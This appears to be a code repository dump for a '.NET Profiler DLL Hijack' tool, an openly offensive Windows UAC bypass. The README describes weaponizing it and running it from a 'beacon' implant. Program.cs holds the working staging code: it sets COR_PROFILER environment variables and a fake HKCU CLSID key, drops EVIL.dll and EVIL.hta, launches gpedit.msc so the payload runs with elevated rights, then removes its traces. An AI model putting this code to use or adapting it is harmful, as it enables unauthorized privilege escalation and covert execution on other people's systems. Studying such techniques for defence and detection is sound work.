├── .gitignore ├── DNH ├── Resources │ └── Payload.dll ├── DNH.sln ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── DNH.csproj └── Program.cs ├── Payload ├── Payload │ ├── stdafx.h │ ├── Payload.cpp │ ├── dllmain.cpp │ ├── stdafx.cpp │ ├── targetver.h │ ├── Payload.vcxproj.user │ ├── Payload.vcxproj.filters │ └── Payload.vcxproj └── Payload.sln └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | **/obj 2 | **/.vs 3 | **/bin 4 | **/Debug 5 | **/Release 6 | -------------------------------------------------------------------------------- /DNH/Resources/Payload.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/djhohnstein/.NET-Profiler-DLL-Hijack/HEAD/DNH/Resources/Payload.dll -------------------------------------------------------------------------------- /Payload/Payload/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/djhohnstein/.NET-Profiler-DLL-Hijack/HEAD/Payload/Payload/stdafx.h -------------------------------------------------------------------------------- /Payload/Payload/Payload.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/djhohnstein/.NET-Profiler-DLL-Hijack/HEAD/Payload/Payload/Payload.cpp -------------------------------------------------------------------------------- /Payload/Payload/dllmain.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/djhohnstein/.NET-Profiler-DLL-Hijack/HEAD/Payload/Payload/dllmain.cpp -------------------------------------------------------------------------------- /Payload/Payload/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/djhohnstein/.NET-Profiler-DLL-Hijack/HEAD/Payload/Payload/stdafx.cpp -------------------------------------------------------------------------------- /Payload/Payload/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/djhohnstein/.NET-Profiler-DLL-Hijack/HEAD/Payload/Payload/targetver.h -------------------------------------------------------------------------------- /Payload/Payload/Payload.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /DNH/DNH.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28010.2026 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DNH", "DNH.csproj", "{E49E2D53-BF38-45EE-AFAA-6D021B1BA832}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {E49E2D53-BF38-45EE-AFAA-6D021B1BA832}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {E49E2D53-BF38-45EE-AFAA-6D021B1BA832}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {E49E2D53-BF38-45EE-AFAA-6D021B1BA832}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {E49E2D53-BF38-45EE-AFAA-6D021B1BA832}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {F204EDF5-5EE0-49F7-837A-7D762D1BFD98} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Payload/Payload/Payload.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # .NET Profiler DLL Hijack 2 | 3 | ## Background 4 | 5 | The .NET Framework can be coerced into loading a profiling DLL into any .NET assembly when launched. This is done when a handful of environment variables and registry keys are set. For a full write-up you can view this blog here: https://offsec.provadys.com/UAC-bypass-dotnet.html 6 | 7 | ## Building and Using 8 | 9 | The "Payload" project holds the main DLL to drop to disk. This DLL simply executes the specified command (but could be more). In the case of this project it starts mshta.exe pointing to an HTA file dropped to disk. If you want to change the command ran, you'll have to edit dllmain.cpp. 10 | 11 | The "DNH" project is the staging executable. For this project, you should ADD two resources: the Payload.dll and the HTA file you wish to execute. The DNH project prepares the environment variables, writes the payload dll and evil hta to disk, then launches a process that uses the .NET framework. After it's been executed it cleans up the registry keys and environment variables set. You should see the HTA running with elevated rights. To change the staging process, edit Program.cs as required. 12 | 13 | Your command doesn't have to involve any HTAs, it can be any arbitrary code. This was just the quickest way I found to weaponize it. Once DNH.exe is built, simply issue `execute-assembly` from beacon or otherwise to execute. 14 | -------------------------------------------------------------------------------- /Payload/Payload.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28010.2026 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Payload", "Payload\Payload.vcxproj", "{B119ABD5-A00B-4662-A2F9-5674B26C312B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B119ABD5-A00B-4662-A2F9-5674B26C312B}.Debug|x64.ActiveCfg = Debug|x64 17 | {B119ABD5-A00B-4662-A2F9-5674B26C312B}.Debug|x64.Build.0 = Debug|x64 18 | {B119ABD5-A00B-4662-A2F9-5674B26C312B}.Debug|x86.ActiveCfg = Debug|Win32 19 | {B119ABD5-A00B-4662-A2F9-5674B26C312B}.Debug|x86.Build.0 = Debug|Win32 20 | {B119ABD5-A00B-4662-A2F9-5674B26C312B}.Release|x64.ActiveCfg = Release|x64 21 | {B119ABD5-A00B-4662-A2F9-5674B26C312B}.Release|x64.Build.0 = Release|x64 22 | {B119ABD5-A00B-4662-A2F9-5674B26C312B}.Release|x86.ActiveCfg = Release|Win32 23 | {B119ABD5-A00B-4662-A2F9-5674B26C312B}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {F1E3DC98-60C6-4FFF-9620-D5475ED6FC6E} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /DNH/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DNH")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DNH")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e49e2d53-bf38-45ee-afaa-6d021b1ba832")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /DNH/DNH.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E49E2D53-BF38-45EE-AFAA-6D021B1BA832} 8 | Exe 9 | DNH 10 | DNH 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | True 48 | True 49 | Resources.resx 50 | 51 | 52 | 53 | 54 | ResXFileCodeGenerator 55 | Resources.Designer.cs 56 | 57 | 58 | 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /DNH/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace DNH.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DNH.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Byte[]. 65 | /// 66 | internal static byte[] Payload { 67 | get { 68 | object obj = ResourceManager.GetObject("Payload", resourceCulture); 69 | return ((byte[])(obj)); 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /DNH/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Microsoft.Win32; 6 | using System.IO; 7 | using System.Diagnostics; 8 | 9 | // Dot net hijack 10 | namespace DNH 11 | { 12 | class Program 13 | { 14 | static void Main(string[] args) 15 | { 16 | string dummyGuid = "{" + System.Guid.NewGuid() + "}"; 17 | string dllPath = Environment.GetEnvironmentVariable("TEMP") + "\\EVIL.dll"; 18 | string evilPath = "C:\\Users\\Public\\EVIL.hta"; 19 | Console.WriteLine(dllPath); 20 | string clsPath = "Software\\Classes\\CLSID\\"; 21 | string regPath = clsPath + dummyGuid; 22 | Console.WriteLine("Creating registry keys in HKCU:{0}", regPath); 23 | RegistryKey key = Registry.CurrentUser.CreateSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree); 24 | key.SetValue("InprocServer32", dllPath); 25 | RegistryKey env = Registry.CurrentUser.CreateSubKey("Environment", RegistryKeyPermissionCheck.ReadWriteSubTree); 26 | env.SetValue("COR_ENABLE_PROFILING", "1"); 27 | env.SetValue("COR_PROFILER", dummyGuid); 28 | env.SetValue("COR_PROFILER_PATH", dllPath); 29 | Environment.SetEnvironmentVariable("COR_ENABLE_PROFILING", "1", EnvironmentVariableTarget.User); 30 | Environment.SetEnvironmentVariable("COR_PROFILER", dummyGuid, EnvironmentVariableTarget.User); 31 | Environment.SetEnvironmentVariable("COR_PROFILER_PATH", dllPath, EnvironmentVariableTarget.User); 32 | // Skipping over set item 33 | Console.WriteLine("Writing dll to file system..."); 34 | File.WriteAllBytes(dllPath, Properties.Resources.Payload); 35 | Console.WriteLine("Writing EVIL.hta to C:\\Users\\Public\\EVIL.hta."); 36 | // Add your embedded hta here. This is just staging logic for your dll cmd to execute 37 | // successfully. 38 | File.WriteAllText(evilPath, Properties.Resources.EVILHTA); 39 | Process.Start("C:\\Windows\\System32\\gpedit.msc"); 40 | Console.WriteLine("Launched gpedit.msc. Sleeping 5..."); 41 | System.Threading.Thread.Sleep(5000); 42 | Console.WriteLine("Beginning cleanup."); 43 | 44 | // Delete associated files. 45 | File.Delete(evilPath); 46 | File.Delete(dllPath); 47 | Console.WriteLine("Deleted {0} and {1}", evilPath, dllPath); 48 | 49 | // Delete our fake GUID 50 | RegistryKey clsid = Registry.CurrentUser.CreateSubKey(clsPath, RegistryKeyPermissionCheck.ReadWriteSubTree); 51 | clsid.DeleteSubKeyTree(dummyGuid); 52 | Console.WriteLine("Deleted HKCU:\\{0}", regPath); 53 | 54 | // Delete the COR variables from the Environment registry. 55 | env.DeleteValue("COR_ENABLE_PROFILING", false); 56 | env.DeleteValue("COR_PROFILER", false); 57 | env.DeleteValue("COR_PROFILER_PATH", false); 58 | Console.WriteLine("Deleted environment registry COR keys."); 59 | 60 | // Reset the environment variables. 61 | Environment.SetEnvironmentVariable("COR_ENABLE_PROFILING", null, EnvironmentVariableTarget.User); 62 | Environment.SetEnvironmentVariable("COR_PROFILER", null, EnvironmentVariableTarget.User); 63 | Environment.SetEnvironmentVariable("COR_PROFILER_PATH", null, EnvironmentVariableTarget.User); 64 | Console.WriteLine("Reset Environment variables."); 65 | Console.WriteLine("All done!"); 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /DNH/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\Payload.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 123 | 124 | -------------------------------------------------------------------------------- /Payload/Payload/Payload.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {B119ABD5-A00B-4662-A2F9-5674B26C312B} 24 | Win32Proj 25 | Payload 26 | 10.0.17134.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v141 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v141 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v141 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v141 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | NotUsing 88 | Level3 89 | Disabled 90 | true 91 | WIN32;_DEBUG;PAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | 96 | Windows 97 | true 98 | 99 | 100 | 101 | 102 | NotUsing 103 | Level3 104 | Disabled 105 | true 106 | _DEBUG;PAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 107 | true 108 | 109 | 110 | Windows 111 | true 112 | 113 | 114 | 115 | 116 | Use 117 | Level3 118 | MaxSpeed 119 | true 120 | true 121 | true 122 | WIN32;NDEBUG;PAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 123 | true 124 | 125 | 126 | Windows 127 | true 128 | true 129 | true 130 | 131 | 132 | 133 | 134 | NotUsing 135 | Level3 136 | MaxSpeed 137 | true 138 | true 139 | true 140 | NDEBUG;PAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 141 | true 142 | 143 | 144 | Windows 145 | true 146 | true 147 | true 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | --------------------------------------------------------------------------------